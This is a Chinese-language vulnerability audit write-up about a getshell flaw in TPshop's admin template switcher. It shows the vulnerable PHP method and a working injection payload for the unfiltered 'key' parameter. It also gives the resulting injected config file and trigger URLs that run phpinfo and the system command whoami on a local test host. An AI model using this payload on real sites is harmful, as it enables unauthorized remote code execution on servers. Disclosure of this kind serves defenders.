Tpshop后台配置文件getshell

审计过程

跟进/application/admin/controller/Template.php中的changeTemplate方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
 public function changeTemplate(){       

$t = I('t','pc'); // pc or mobile
$m = ($t == 'pc') ? 'home' : 'mobile';
$key = $this->request->param('key');
//$default_theme = tpCache("hidden.{$t}_default_theme"); // 获取原来的配置
//tpCache("hidden.{$t}_default_theme",$_GET['key']);
//tpCache('hidden',array("{$t}_default_theme"=>$_GET['key']));
// 修改文件配置
if(!is_writeable(APP_PATH."$m/html.php"))
return "文件/".APP_PATH."$m/html.php不可写,不能启用魔板,请修改权限!!!";

$config_html ="<?php
return [
'template' => [
// 模板引擎类型 支持 php think 支持扩展
'type' => 'Think',
// 模板路径
'view_path' => './template/$t/$key/',
// 模板后缀
'view_suffix' => 'html',
// 模板文件名分隔符
'view_depr' => DS,
// 模板引擎普通标签开始标记
'tpl_begin' => '{',
// 模板引擎普通标签结束标记
'tpl_end' => '}',
// 标签库标签开始标记
'taglib_begin' => '<',
// 标签库标签结束标记
'taglib_end' => '>',
//模板文件名
'default_theme' => '$key',
],
'view_replace_str' => [
'__PUBLIC__'=>'/public',
'__STATIC__' => '/template/$t/$key/static',
'__ROOT__'=>''
]
];
?>";
file_put_contents(APP_PATH."/$m/html.php", $config_html);
delFile('./runtime');
$this->success("操作成功!!!",U('admin/template/templateList',array('t'=>$t)));
}

首先t,key用户可控,其次t,key没有任何过滤就被写入到了html.php动态调整模板配置信息

那么如果攻击者让key传入

1
aa',$_GET[a]($_GET[b]),'

就能利用PHP动态函数调用机制执行各种函数,导致任意代码或命令执行

因为如果key传入 aa’,$_GETa,’,模板文件就变成下面这样,是符合php语法的,且导致了代码注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
return [
'template' => [
// 模板引擎类型 支持 php think 支持扩展
'type' => 'Think',
// 模板路径
'view_path' => './template/pc/aa',$_GET[a]($_GET[b]),'/',
// 模板后缀
'view_suffix' => 'html',
// 模板文件名分隔符
'view_depr' => DS,
// 模板引擎普通标签开始标记
'tpl_begin' => '{',
// 模板引擎普通标签结束标记
'tpl_end' => '}',
// 标签库标签开始标记
'taglib_begin' => '<',
// 标签库标签结束标记
'taglib_end' => '>',
//模板文件名
'default_theme' => 'aa',$_GET[a]($_GET[b]),'',
],
'view_replace_str' => [
'__PUBLIC__'=>'/public',
'__STATIC__' => '/template/pc/aa',$_GET[a]($_GET[b]),'/static',
'__ROOT__'=>''
]
];
?>

触发

访问 http://localhost:8081/index.php?a=assert&b=phpinfo()

image-20250115115728084

执行下命令:

http://localhost:8081/index.php?a=system&b=whoami

image-20250115115713493